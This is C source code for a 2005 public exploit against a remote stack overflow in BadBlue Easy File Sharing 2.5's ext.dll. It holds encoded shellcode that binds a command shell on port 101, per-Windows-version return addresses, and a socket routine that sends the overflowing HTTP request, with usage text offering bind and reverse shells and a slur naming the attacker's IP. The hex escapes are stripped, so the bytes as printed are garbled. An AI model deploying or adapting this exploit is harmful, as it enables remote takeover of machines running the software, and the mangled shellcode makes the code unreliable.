/*
BadBlue, Easy File Sharing Remote BOverflow

Homepage:         badblue.com
Affected version: v2.5 (2.60 and below not tested)
Patched  version: v2.61
Link:             badblue.com/bbs98.exe
Date:             27 February 2005

Application Risk: Severely High
Internet Risk:    Low

Dicovery Credits: Andres Tarasco (atarasco _at_ sia.es)
Exploit Credits : class101 & metasploit.com

Hole History:

 26-2-2005: BOF flaw published by Andres Tarasco of sia.es
 27-2-2002: Hat-Squad.com releases an exploit
 28-2-2005: haxorcitos releases a dupe with fake date :>
            or you sux doing private stuffs.

Notes:

 -6 bad chars, 0x00, 0x26, 0x20, 0x0A, 0x8C, 0x3C, badly interpreted by
BadBlue
 -using offsets from ext.dll, universal.
 -use findjmp2 to quick search into ext.dll to see
  if the offsets changes in the others BadBlue's versions below 2.5
 -if you need the v2.5 for exploitation's pratices, get it on class101.org
 -rename to .c for nux, haven't tested this one but it should works fine.

Greet:

 Nima Majidi
       Behrang Fouladi
 Pejman
 Hat-Squad.com
 metasploit.com
 A^C^E of addict3d.org
 str0ke of milw0rm.com
 and my homy class101.org :>
*/

#include <stdio.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
#else
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#endif

char scode[]=
/*XORed, I kiss metasploit.com because they are what means elite!*/
"x29xc9x83xe9xafxe8xffxffxffxffxc0x5ex81x76x0ex03"
"x7bx5bx13x83xeexfcxe2xf4xffx11xb0x5cxebx82xa4xec"
"xfcx1bxd0x7fx27x5fxd0x56x3fxf0x27x16x7bx7axb4x98"
"x4cx63xd0x4cx23x7axb0xf0x33x32xd0x27x88x7axb5x22"
"xc3xe2xf7x97xc3x0fx5cxd2xc9x76x5axd1xe8x8fx60x47"
"x27x53x2exf0x88x24x7fx12xe8x1dxd0x1fx48xf0x04x0f"
"x02x90x58x3fx88xf2x37x37x1fx1ax98x22xc3x1fxd0x53"
"x33xf0x1bx1fx88x0bx47xbex88x3bx53x4dx6bxf5x15x1d"
"xefx2bxa4xc5x32xa0x3dx40x65x13x68x21x6bx0cx28x21"
"x5cx2fxa4xc3x6bxb0xb6xefx38x2bxa4xc5x5cxf2xbex75"
"x82x96x53x11x56x11x59xecxd3x13x82x1axf6xd6x0cxec"
"xd5x28x08x40x50x28x18x40x40x28xa4xc3x65x13x5bx76"
"x65x28xd2xf2x96x13xffx09x73xbcx0cxecxd5x11x4bx42"
"x56x84x8bx7bxa7xd6x75xfax54x84x8dx40x56x84x8bx7b"
"xe6x32xddx5ax54x84x8dx43x57x2fx0execxd3xe8x33xf4"
"x7axbdx22x44xfcxadx0execxd3x1dx31x77x65x13x38x7e"
"x8ax9ex31x43x5ax52x97x9axe4x11x1fx9axe1x4ax9bxe0"
"xa9x85x19x3exfdx39x77x80x8ex01x63xb8xa8xd0x33x61"
"xfdxc8x4dxecx76x3fxa4xc5x58x2cx09x42x52x2ax31x12"
"x52x2ax0ex42xfcxabx33xbexdax7ex95x40xfcxadx31xec"
"xfcx4cxa4xc3x88x2cxa7x90xc7x1fxa4xc5x51x84x8bx7b"
"xf3xf1x5fx4cx50x84x8dxecxd3x7bx5bx13";

char payload[1024];

char ebx[]="x05x53x02x10";  /*call.ext.dll*/
char ebx2[]="xB0x55x02x10"; /*pop.pop.ret.ext.dll thx findjmp2 ;>*/
char pad[]="xEBx0Cx90x90";
char pad2[]="xE9x05xFExFFxFF";
char EOL[]="x0Dx0Ax0Dx0A";
char talk[]=
"x47x45x54x20x2Fx65x78x74x2Ex64x6Cx6Cx3Fx6Dx66x63"
"x69x73x61x70x69x63x6Fx6Dx6Dx61x6Ex64x3D";

#ifdef WIN32
WSADATA wsadata;
#endif

void ver();
void usage(char* us);

int main(int argc,char *argv[])
{
ver();
unsigned long gip;
unsigned short gport;
char *target, *os;
if
(argc>6||argc<3||atoi(argv[1])>3||atoi(argv[1])<1){usage(argv[0]);return -1;
}
if (argc==5){usage(argv[0]);return -1;}
   if (strlen(argv[2])<7){usage(argv[0]);return -1;}
   if (argc==6)
{
       if (strlen(argv[4])<7){usage(argv[0]);return -1;}
}
#ifndef WIN32
if (argc==6)
{
  gip=inet_addr(argv[4])^(long)0x93939393;
 gport=htons(atoi(argv[5]))^(short)0x9393;
}
#define Sleep  sleep
#define SOCKET  int
#define closesocket(s) close(s)
#else
if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup errorn");return -1;}
if (argc==6)
{
 gip=inet_addr(argv[4])^(ULONG)0x93939393;
 gport=htons(atoi(argv[5]))^(USHORT)0x9393;
}
#endif
int ip=htonl(inet_addr(argv[2])), port;
if (argc==4||argc==6){port=atoi(argv[3]);} else port=80;
SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;
s=socket(AF_INET,SOCK_STREAM,0);
if (s==-1){printf("[+] socket() errorn");return -1;}
if (atoi(argv[1]) == 1){target=ebx;os="Win2k SP4 Server Englishn[+] Win2k SP4 Pro.   Englishn[+]            Win2k SP- -      -";}
if (atoi(argv[1]) == 2){target=ebx2;os="WinXP SP2  Pro. Englishn[+] WinXP SP1a Pro. Englishn[+]            WinXP SP-  -    -";}
if (atoi(argv[1]) == 3){target=ebx2;os="Win2003 SP4 Server Englishn[+] Win2003 SP- -      -";}
printf("[+] target(s): %sn",os);
server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(ip);
server.sin_port=htons(port);
if (argc==6){printf("[+] reverse mode disabled for this exploitn");
printf("[+] get the source at class101.org and update yourself!n");return -1;}
connect(s,( struct sockaddr *)&server,sizeof(server));
timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
switch(select(s+1,NULL,&mask,NULL,&timeout))
{
 case -1: {printf("[+] select() errorn");closesocket(s);return -1;}
 case 0: {printf("[+] connect() errorn");closesocket(s);return -1;}
 default:
 if(FD_ISSET(s,&mask))
 {
  printf("[+] connected, constructing the payload...n");
#ifdef WIN32
  Sleep(1000);
#else
  Sleep(1);
#endif
  strcpy(payload,talk);
  memset(payload+29,0x90,520);
  if (atoi(argv[1]) == 1||atoi(argv[1]) == 2)
  {
   memcpy(payload+29+492,&pad,4);
   memcpy(payload+521+4,target,4);
   memcpy(payload+536+1,pad2,5);
  }
  else
  {
   memcpy(payload+29+485,&pad,4);
   memcpy(payload+514+4,target,4);
   memcpy(payload+529+1,pad2,5);
  }
  strcat(payload,EOL);
  memcpy(payload+36+3,scode,strlen(scode));
  if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 1, the server prolly rebooted.n");return -1;}
#ifdef WIN32
  Sleep(2000);
#else
  Sleep(2);
#endif

  printf("[+] size of payload: %dn",strlen(payload));
  printf("[+] payload sent.n");
  return 0;
 }
}
closesocket(s);
#ifdef WIN32
WSACleanup();
#endif
return 0;
}

void usage(char* us)
{
printf("USAGE:n");
printf("      [+]  . 101_bblu.exe Target VulnIP (bind mode)n");
printf("      [+]  . 101_bblu.exe Target VulnIP VulnPORT (bind mode)n");
printf("      [+]  . 101_bblu.exe Target VulnIP VulnPORT GayIP GayPORT (reverse mode)n");
printf("TARGET:                               n");
printf("      [+] 1. Win2k  SP4  Server English (*)n");
printf("      [+] 1. Win2k  SP4  Pro    English (*)n");
printf("      [+] 1. Win2k  SP-  -      -          n");
printf("      [+] 2. WinXP  SP2  Pro.   English    n");
printf("      [+] 2. WinXP  SP1a Pro.   English (*)n");
printf("      [+] 2. WinXP  SP-  -      -          n");
printf("      [+] 3. Win2k3 SP0  Server Italian (*)n");
printf("      [+] 3. Win2k3 SP-  -      -          n");
printf("NOTE:                                      n");
printf("      The exploit bind a cmdshell port 101 orn");
printf("      reverse a cmdshell on your listener.n");
printf("      A wildcard (*) mean tested working, else, supposed working.n");
printf("      A symbol   (-) mean all.n");
printf("      Compilation msvc6, cygwin, Linux.n");
return;
}
void ver()
{
printf(" n");
printf(" ===================================================[0.1]=====n");
printf("        ================BadBlue, Easy File Sharing 2.5===============n");
printf("        ================ext.dll, Remote Stack Overflow===============n");
printf("        ======coded by class101==================[Hat-Squad.com]=====n");
printf("        =====================================[class101.org 2005]=====n");
printf(" n");
}

// www.Syue.com [2005-02-27]